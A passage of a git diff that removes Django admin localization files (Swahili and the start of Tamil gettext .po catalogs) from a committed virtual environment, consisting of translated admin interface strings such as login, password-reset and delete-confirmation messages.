katika {fields} " - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr " {name} “{object}” umefutwa." - -msgid "No fields changed." -msgstr "Hakuna uga uliobadilishwa." - -msgid "None" -msgstr "Hakuna" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" -" Shikilia 'Control', au 'Command' kwenye Mac, ili kuchagua zaidi ya moja." - -msgid "Select this object for an action - {}" -msgstr "" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "{name} “{obj}” imeongezwa kwa mafanikio." - -msgid "You may edit it again below." -msgstr "Unaweza kuihariri tena hapa chini" - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" -"{name} “{obj}” imeongezwa kwa mafanikio. Unaweza kuongeza {name} nyingine " -"hapa chini." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "" -"{name} “{obj}” ilibadilishwa kwa mafanikio. Unaweza kuihariri tena hapa " -"chini." - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully. You may edit it again below." -msgstr "" -"{name} “{obj}” imeongezwa kwa mafanikio. Unaweza kuihariri tena hapa chini." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" -"{name} “{obj} imebadilishwa kwa mafanikio. Unaweza kuongeza {name} nyingine " -"hapa chini. " - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "{name} “{obj}” imebadilishwa kwa mafanikio." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Nilazima kuchagua vitu ili kufanyia kitu fulani. Hakuna kitu " -"kilichochaguliwa." - -msgid "No action selected." -msgstr "Hakuna tendo lililochaguliwa" - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "%(name)s%(obj)s ilifutwa kwa mafanikio." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "%(name)sna ID %(key)s haipo. Labda ilifutwa?" - -#, python-format -msgid "Add %s" -msgstr "Ongeza %s" - -#, python-format -msgid "Change %s" -msgstr "Badilisha %s" - -#, python-format -msgid "View %s" -msgstr "Muonekano %s" - -msgid "Database error" -msgstr "Hitilafu katika hifadhidata" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "mabadiliko ya %(name)s %(count)s yamefanikiwa." -msgstr[1] "mabadiliko ya %(name)s %(count)s yamefanikiwa." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s kuchaguliwa" -msgstr[1] "%(total_count)s (kila kitu) kuchaguliwa" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "Vilivyo chaguliwa ni 0 kati ya %(cnt)s" - -#, python-format -msgid "Change history: %s" -msgstr "Badilisha historia: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(instance)s %(class_name)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"Kufutwa kwa ingizo la %(instance)s %(class_name)s kutahitaji kufutwa kwa " -"vitu vifuatavyo vyenye mahusiano vilivyokingwa: %(related_objects)s" - -msgid "Django site admin" -msgstr "Utawala wa tovuti ya django" - -msgid "Django administration" -msgstr "Utawala wa Django" - -msgid "Site administration" -msgstr "Utawala wa tovuti" - -msgid "Log in" -msgstr "Ingia" - -#, python-format -msgid "%(app)s administration" -msgstr "Utawala wa %(app)s" - -msgid "Page not found" -msgstr "Ukurasa haujapatikana" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "Samahani, ukurasa uliotafutwa haukupatikana." - -msgid "Home" -msgstr "Nyumbani" - -msgid "Server error" -msgstr "Hitilafu ya seva" - -msgid "Server error (500)" -msgstr "Hitilafu ya seva (500)" - -msgid "Server Error (500)" -msgstr "Hitilafu ya seva (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Kumekuwa na kosa. Waendeshaji wa tovuti wamearifiwa kupitia barua pepe, na " -"linapaswa kurekebishwa hivi karibuni. Asante kwa uvumilivu wako." - -msgid "Run the selected action" -msgstr "Fanya tendo lililochaguliwa." - -msgid "Go" -msgstr "Nenda" - -msgid "Click here to select the objects across all pages" -msgstr "Bofya hapa kuchagua viumbile katika kurasa zote" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Chagua kila %(module_name)s, (%(total_count)s). " - -msgid "Clear selection" -msgstr "Safisha chaguo" - -msgid "Breadcrumbs" -msgstr "Nyayo " - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Models katika application %(name)s" - -msgid "Add" -msgstr "Ongeza" - -msgid "View" -msgstr "Muonekano" - -msgid "You don’t have permission to view or edit anything." -msgstr "Huna ruhusa ya kutazama au kuhariri kitu chochote" - -msgid "" -"First, enter a username and password. Then, you’ll be able to edit more user " -"options." -msgstr "" -"Kwanza, ingiza jina la mtumiaji na nywila. Kisha, utaweza kuhariri chaguo " -"zaidi za mtumiaji." - -msgid "Enter a username and password." -msgstr "Ingiza jina la mtumiaji na nywila." - -msgid "Change password" -msgstr "Badilisha nywila" - -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "Tafadhali sahihisha kosa lifuatalo." -msgstr[1] "Tafadhali sahihisha makosa yafuatayo" - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "ingiza nywila ya mtumiaji %(username)s." - -msgid "Skip to main content" -msgstr "Ruka hadi kwa maudhui makuu." - -msgid "Welcome," -msgstr "Karibu" - -msgid "View site" -msgstr "Tazama tovuti" - -msgid "Documentation" -msgstr "Nyaraka" - -msgid "Log out" -msgstr "Toka" - -#, python-format -msgid "Add %(name)s" -msgstr "Ongeza %(name)s" - -msgid "History" -msgstr "Historia" - -msgid "View on site" -msgstr "Ona kwenye tovuti" - -msgid "Filter" -msgstr "Chuja" - -msgid "Hide counts" -msgstr "Ficha idadi" - -msgid "Show counts" -msgstr "Onesha idadi" - -msgid "Clear all filters" -msgstr "Safisha vichungi vyote" - -msgid "Remove from sorting" -msgstr "Ondoa katika upangaji" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Kipaumbele katika mpangilio: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Geuza mpangilio" - -msgid "Toggle theme (current theme: auto)" -msgstr "Badilisha mandhari (mandhari ya sasa: auto)" - -msgid "Toggle theme (current theme: light)" -msgstr "Badilisha mandhari (mandhari ya sasa: mwanga)" - -msgid "Toggle theme (current theme: dark)" -msgstr "Badilisha mandhari (mandhari ya sasa: giza)" - -msgid "Delete" -msgstr "Futa" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Kufutwa kwa '%(escaped_object)s' %(object_name)s kutasababisha kufutwa kwa " -"vitu vinavyohuisana, lakini akaunti yako haina ruhusa ya kufuta vitu vya " -"aina zifuatazo:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"Kufuta '%(escaped_object)s' %(object_name)s kutahitaji kufuta vitu " -"vifuatavyo ambavyo vinavyohuisana na vimelindwa:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Una uhakika kuwa unataka kufuta \"%(escaped_object)s\" %(object_name)s ? " -"Vitu vyote vinavyohuisana kati ya vifuatavyo vitafutwa:" - -msgid "Objects" -msgstr "Viumbile" - -msgid "Yes, I’m sure" -msgstr "Ndiyo, nina uhakika" - -msgid "No, take me back" -msgstr "Hapana, nirudishe" - -msgid "Delete multiple objects" -msgstr "Futa viumbile mbalimbali" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Kufutwa kwa %(objects_name)s chaguliwa kutasababisha kufutwa kwa " -"vituvinavyohusiana, lakini akaunti yako haina ruhusa ya kufuta vitu vya " -"vifuatavyo:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Kufutwa kwa %(objects_name)s kutahitaji kufutwa kwa vitu vifuatavyo vyenye " -"uhusiano na vilivyolindwa:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Una uhakika kuwa unataka kufuta %(objects_name)s chaguliwa ? Vitu vyote kati " -"ya vifuatavyo vinavyohusiana vitafutwa:" - -msgid "Delete?" -msgstr "Futa?" - -#, python-format -msgid " By %(filter_title)s " -msgstr " Kwa %(filter_title)s" - -msgid "Summary" -msgstr "Muhtasari" - -msgid "Recent actions" -msgstr "Matendo ya karibuni" - -msgid "My actions" -msgstr "Matendo yangu" - -msgid "None available" -msgstr "Hakuna kilichopatikana" - -msgid "Added:" -msgstr "Imeongezwa:" - -msgid "Changed:" -msgstr "Kimebadilika" - -msgid "Deleted:" -msgstr "Kimefutwa" - -msgid "Unknown content" -msgstr "Maudhui hayajulikani" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Kuna tatizo na ufungaji wa hifadhidata yako. Hakikisha meza sahihi za " -"hifadhidata zimeundwa, na hakikisha hifadhidata inaweza kusomwa na mtumiaji " -"sahihi." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"Umejithibitisha kama %(username)s, lakini huna ruhusa ya kupata ukurasa huu. " -"Ungependa kuingia kwa akaunti nyingine?" - -msgid "Forgotten your password or username?" -msgstr "Umesahau jina na nenosiri lako?" - -msgid "Toggle navigation" -msgstr "Badilisha urambazaji" - -msgid "Sidebar" -msgstr "Upande wa Kando" - -msgid "Start typing to filter…" -msgstr "Anza kuchapa ili kuchuja…" - -msgid "Filter navigation items" -msgstr "Chuja vitu vya urambazaji" - -msgid "Date/time" -msgstr "Tarehe/saa" - -msgid "User" -msgstr "Mtumiaji" - -msgid "Action" -msgstr "Tendo" - -msgid "entry" -msgid_plural "entries" -msgstr[0] "ingizo" -msgstr[1] "maingizo" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"Hakuna historia ya mabadiliko kwa kipande hiki. Labda hakikuongezwa kupitia " -"tovuti hii ya usimamizi." - -msgid "Show all" -msgstr "Onesha yotee" - -msgid "Save" -msgstr "Hifadhi" - -msgid "Popup closing…" -msgstr "Udukizi inafungwa..." - -msgid "Search" -msgstr "Tafuta" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "tokeo %(counter)s" -msgstr[1] "matokeo %(counter)s" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "jumla %(full_result_count)s" - -msgid "Save as new" -msgstr "Hifadhi kama mpya" - -msgid "Save and add another" -msgstr "Hifadhi na ongeza" - -msgid "Save and continue editing" -msgstr "Hifadhi na endelea kuhariri" - -msgid "Save and view" -msgstr "Hifadhi kisha tazama" - -msgid "Close" -msgstr "Funga" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Badili %(model)s husika" - -#, python-format -msgid "Add another %(model)s" -msgstr "Ongeza %(model)s tena" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Futa %(model)s husika" - -#, python-format -msgid "View selected %(model)s" -msgstr "Tazama %(model)s zilizochaguliwa" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "Asante kwa kutumia muda wako kenye tovuti leo." - -msgid "Log in again" -msgstr "ingia tena" - -msgid "Password change" -msgstr "Badilisha nywila" - -msgid "Your password was changed." -msgstr "Nywila yako imebadilishwa" - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Tafadhali ingiza nywila yako ya zamani, kwa usalama, na kisha ingiza nywila " -"yako mpya mara mbili ili tuweze kuthibitisha kuwa umeingiza kwa usahihi" - -msgid "Change my password" -msgstr "Badilisha nywila yangu" - -msgid "Password reset" -msgstr "Kuseti nywila upya" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Nywila yako imesetiwa. Unaweza kuendelea na kuingia sasa." - -msgid "Password reset confirmation" -msgstr "Uthibitisho wa kuseti nywila upya" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Tafadhali ingiza nywila mpya mara mbili ili tuweze kuthibitisha kuwa " -"umelichapisha kwa usahihi." - -msgid "New password:" -msgstr "Nywila mpya:" - -msgid "Confirm password:" -msgstr "Thibitisha nywila" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"Kiungo cha kuseti nywila upya ni batili, inawezekana ni kwa sababu kiungo " -"hicho tayari kimetumika. tafadhali omba upya kuseti nywila." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"Tumekutumia barua pepe na maelekezo ya kuweka nywila yako, endapo akaunti " -"inayolingana na barua pepe uliyoingiza ipo. Unapaswa kuzipokea hivi karibuni." - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Ikiwa hautapokea barua pepe, tafadhali hakikisha umeweka anwani " -"uliyojiandikisha nayo, na angalia folda yako ya barua taka" - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Umepata barua pepe hii kwa sababu ulihitaji ku seti upya nywila ya akaunti " -"yako ya %(site_name)s." - -msgid "Please go to the following page and choose a new password:" -msgstr "Tafadhali nenda ukurasa ufuatao na uchague nywila mpya:" - -msgid "Your username, in case you’ve forgotten:" -msgstr "Jina lako la utumiaji, ikiwa umesahau:" - -msgid "Thanks for using our site!" -msgstr "Ahsante kwa kutumia tovui yetu!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "timu ya %(site_name)s" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"Umensahau nywila yako? Ingiza anwani yako ya barua pepe hapa chini, na " -"tutakutumia barua pepe na maelekezo ya kuweka mpya." - -msgid "Email address:" -msgstr "Anuani ya barua pepe:" - -msgid "Reset my password" -msgstr "Seti nywila yangu upya" - -msgid "Select all objects on this page for an action" -msgstr "Chagua vitu vyote kwenye ukurasa huu kwa hatua." - -msgid "All dates" -msgstr "Tarehe zote" - -#, python-format -msgid "Select %s" -msgstr "Chagua %s" - -#, python-format -msgid "Select %s to change" -msgstr "Chaguo %s kwa mabadilisho" - -#, python-format -msgid "Select %s to view" -msgstr "Chagua %s kuona" - -msgid "Date:" -msgstr "Tarehe" - -msgid "Time:" -msgstr "Saa" - -msgid "Lookup" -msgstr "`Lookup`" - -msgid "Currently:" -msgstr "Kwa sasa:" - -msgid "Change:" -msgstr "Badilisha:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sw/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/sw/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 12f1466c..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sw/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sw/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/sw/LC_MESSAGES/djangojs.po deleted file mode 100644 index 5806dd93..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/sw/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,217 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Machaku , 2013-2014 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2016-05-17 23:12+0200\n" -"PO-Revision-Date: 2017-09-23 18:54+0000\n" -"Last-Translator: Jannis Leidel \n" -"Language-Team: Swahili (http://www.transifex.com/django/django/language/" -"sw/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: sw\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "Yaliyomo: %s" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"Hii ni orodha ya %s uliyochagua. Unaweza kuchagua baadhi vitu kwa kuvichagua " -"katika kisanduku hapo chini kisha kubofya mshale wa \"Chagua\" kati ya " -"visanduku viwili." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "Chapisha katika kisanduku hiki ili kuchuja orodha ya %s iliyopo." - -msgid "Filter" -msgstr "Chuja" - -msgid "Choose all" -msgstr "Chagua vyote" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "Bofya kuchagua %s kwa pamoja." - -msgid "Choose" -msgstr "Chagua" - -msgid "Remove" -msgstr "Ondoa" - -#, javascript-format -msgid "Chosen %s" -msgstr "Chaguo la %s" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"Hii ni orodha ya %s uliyochagua. Unaweza kuondoa baadhi vitu kwa kuvichagua " -"katika kisanduku hapo chini kisha kubofya mshale wa \"Ondoa\" kati ya " -"visanduku viwili." - -msgid "Remove all" -msgstr "Ondoa vyote" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "Bofya ili kuondoa %s chaguliwa kwa pamoja." - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "umechagua %(sel)s kati ya %(cnt)s" -msgstr[1] "umechagua %(sel)s kati ya %(cnt)s" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Umeacha kuhifadhi mabadiliko katika uga zinazoharirika. Ikiwa utafanya tendo " -"lingine, mabadiliko ambayo hayajahifadhiwa yatapotea." - -msgid "" -"You have selected an action, but you haven't saved your changes to " -"individual fields yet. Please click OK to save. You'll need to re-run the " -"action." -msgstr "" -"Umechagua tendo, lakini bado hujahifadhi mabadiliko yako katika uga husika. " -"Tafadali bofya Sawa ukitaka kuhifadhi. Utahitajika kufanya upya kitendo " - -msgid "" -"You have selected an action, and you haven't made any changes on individual " -"fields. You're probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Umechagua tendo, lakini bado hujahifadhi mabadiliko yako katika uga husika. " -"Inawezekana unatafuta kitufe cha Nenda badala ya Hifadhi" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Kumbuka: Uko saa %s mbele ukilinganisha na majira ya seva" -msgstr[1] "Kumbuka: Uko masaa %s mbele ukilinganisha na majira ya seva" - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "Kumbuka: Uko saa %s nyuma ukilinganisha na majira ya seva" -msgstr[1] "Kumbuka: Uko masaa %s nyuma ukilinganisha na majira ya seva" - -msgid "Now" -msgstr "Sasa" - -msgid "Choose a Time" -msgstr "" - -msgid "Choose a time" -msgstr "Chagua wakati" - -msgid "Midnight" -msgstr "Usiku wa manane" - -msgid "6 a.m." -msgstr "Saa 12 alfajiri" - -msgid "Noon" -msgstr "Adhuhuri" - -msgid "6 p.m." -msgstr "" - -msgid "Cancel" -msgstr "Ghairi" - -msgid "Today" -msgstr "Leo" - -msgid "Choose a Date" -msgstr "" - -msgid "Yesterday" -msgstr "Jana" - -msgid "Tomorrow" -msgstr "Kesho" - -msgid "January" -msgstr "" - -msgid "February" -msgstr "" - -msgid "March" -msgstr "" - -msgid "April" -msgstr "" - -msgid "May" -msgstr "" - -msgid "June" -msgstr "" - -msgid "July" -msgstr "" - -msgid "August" -msgstr "" - -msgid "September" -msgstr "" - -msgid "October" -msgstr "" - -msgid "November" -msgstr "" - -msgid "December" -msgstr "" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "" - -msgctxt "one letter Monday" -msgid "M" -msgstr "" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "" - -msgctxt "one letter Friday" -msgid "F" -msgstr "" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "" - -msgid "Show" -msgstr "Onesha" - -msgid "Hide" -msgstr "Ficha" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ta/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ta/LC_MESSAGES/django.mo deleted file mode 100644 index 398f1f28..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ta/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ta/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ta/LC_MESSAGES/django.po deleted file mode 100644 index 3a3cf1bb..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ta/LC_MESSAGES/django.po +++ /dev/null @@ -1,643 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Jannis Leidel , 2011 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2017-01-19 16:49+0100\n" -"PO-Revision-Date: 2017-09-19 16:40+0000\n" -"Last-Translator: Jannis Leidel \n" -"Language-Team: Tamil (http://www.transifex.com/django/django/language/ta/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ta\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "" - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "" - -msgid "Are you sure?" -msgstr "உறுதியாக சொல்கிறீர்களா?" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "" - -msgid "Administration" -msgstr "" - -msgid "All" -msgstr "அனைத்தும்" - -msgid "Yes" -msgstr "ஆம்" - -msgid "No" -msgstr "இல்லை" - -msgid "Unknown" -msgstr "தெரியாத" - -msgid "Any date" -msgstr "எந்த தேதியும்" - -msgid "Today" -msgstr "இன்று" - -msgid "Past 7 days" -msgstr "கடந்த 7 நாட்களில்" - -msgid "This month" -msgstr "இந்த மாதம்" - -msgid "This year" -msgstr "இந்த வருடம்" - -msgid "No date" -msgstr "" - -msgid "Has date" -msgstr "" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" - -msgid "Action:" -msgstr "" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "" - -msgid "Remove" -msgstr "அழிக்க" - -msgid "action time" -msgstr "செயல் நேரம்" - -msgid "user" -msgstr "" - -msgid "content type" -msgstr "" - -msgid "object id" -msgstr "பொருள் அடையாளம்" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/3/library/functions.html#repr) -msgid "object repr" -msgstr "பொருள் உருவகித்தம்" - -msgid "action flag" -msgstr "செயர்குறி" - -msgid "change message" -msgstr "செய்தியை மாற்று" - -msgid "log entry" -msgstr "புகுபதிவு உள்ளீடு" - -msgid "log entries" -msgstr "புகுபதிவு உள்ளீடுகள்" - -#, python-format -msgid "Added \"%(object)s\"." -msgstr "" - -#, python-format -msgid "Changed \"%(object)s\" - %(changes)s" -msgstr "" - -#, python-format -msgid "Deleted \"%(object)s.\"" -msgstr "" - -msgid "LogEntry Object" -msgstr "" - -#, python-brace-format -msgid "Added {name} \"{object}\"." -msgstr "" - -msgid "Added." -msgstr "" - -msgid "and" -msgstr "மற்றும்" - -#, python-brace-format -msgid "Changed {fields} for {name} \"{object}\"." -msgstr "" - -#, python-brace-format -msgid "Changed {fields}." -msgstr "" - -#, python-brace-format -msgid "Deleted {name} \"{object}\"." -msgstr "" - -msgid "No fields changed." -msgstr "எந்த புலமும் மாறவில்லை." - -msgid "None" -msgstr "" - -msgid "" -"Hold down \"Control\", or \"Command\" on a Mac, to select more than one." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was added successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was added successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} \"{obj}\" was added successfully." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was changed successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was changed successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} \"{obj}\" was changed successfully." -msgstr "" - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" - -msgid "No action selected." -msgstr "" - -#, python-format -msgid "The %(name)s \"%(obj)s\" was deleted successfully." -msgstr "%(name)s \"%(obj)s\" வெற்றிகரமாக அழிக்கப்பட்டுள்ளது." - -#, python-format -msgid "%(name)s with ID \"%(key)s\" doesn't exist. Perhaps it was deleted?" -msgstr "" - -#, python-format -msgid "Add %s" -msgstr "%s யை சேர்க்க" - -#, python-format -msgid "Change %s" -msgstr "%s யை மாற்று" - -msgid "Database error" -msgstr "தகவல்சேமிப்பு பிழை" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "" - -#, python-format -msgid "Change history: %s" -msgstr "வரலாற்றை மாற்று: %s" - -#. Translators: Model verbose name and instance representation, -#. suitable to be an item in a list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" - -msgid "Django site admin" -msgstr "டிஜாங்ஙோ தள நிர்வாகி" - -msgid "Django administration" -msgstr "டிஜாங்ஙோ நிர்வாகம் " - -msgid "Site administration" -msgstr "இணைய மேலான்மை" - -msgid "Log in" -msgstr "உள்ளே போ" - -#, python-format -msgid "%(app)s administration" -msgstr "" - -msgid "Page not found" -msgstr "பக்கத்தைக் காணவில்லை" - -msgid "We're sorry, but the requested page could not be found." -msgstr "நீங்கள் விரும்பிய பக்கத்தை காண இயலவில்லை,அதற்காக நாங்கள் வருந்துகிறோம்." - -msgid "Home" -msgstr "வீடு" - -msgid "Server error" -msgstr "சேவகன் பிழை" - -msgid "Server error (500)" -msgstr "சேவையகம் தவறு(500)" - -msgid "Server Error (500)" -msgstr "சேவையகம் பிழை(500)" - -msgid "" -"There's been an error. It's been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" - -msgid "Run the selected action" -msgstr "" - -msgid "Go" -msgstr "செல்" - -msgid "Click here to select the objects across all pages" -msgstr "" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "" - -msgid "Clear selection" -msgstr "" - -msgid "" -"First, enter a username and password. Then, you'll be able to edit more user " -"options." -msgstr "" -"முதலில்,பயனர்ப்பெயர் மற்றும் கடவுச்சொல்லை உள்ளிடவும்.அதன் பிறகு தான் நீங்கள் உங்கள் பெயரின் " -"விவரங்களை திருத்த முடியும்" - -msgid "Enter a username and password." -msgstr "" - -msgid "Change password" -msgstr "கடவுச்சொல்லை மாற்று" - -msgid "Please correct the error below." -msgstr "கீழே உள்ள தவறுகளைத் திருத்துக" - -msgid "Please correct the errors below." -msgstr "" - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "" - -msgid "Welcome," -msgstr "நல்வரவு," - -msgid "View site" -msgstr "" - -msgid "Documentation" -msgstr "ஆவனமாக்கம்" - -msgid "Log out" -msgstr "வெளியேறு" - -#, python-format -msgid "Add %(name)s" -msgstr "%(name)s சேர்க்க" - -msgid "History" -msgstr "வரலாறு" - -msgid "View on site" -msgstr "தளத்தில் பார்" - -msgid "Filter" -msgstr "வடிகட்டி" - -msgid "Remove from sorting" -msgstr "" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "" - -msgid "Toggle sorting" -msgstr "" - -msgid "Delete" -msgstr "நீக்குக" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"நீக்கும் '%(escaped_object)s' ஆனது %(object_name)s தொடர்புடைய மற்றவற்றையும் நீக்கும். " -"ஆனால் அதை நீக்குவதற்குரிய உரிமை உங்களுக்கு இல்லை" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"நீங்கள் இந்த \"%(escaped_object)s\" %(object_name)s நீக்குவதில் நிச்சயமா?தொடர்புடைய " 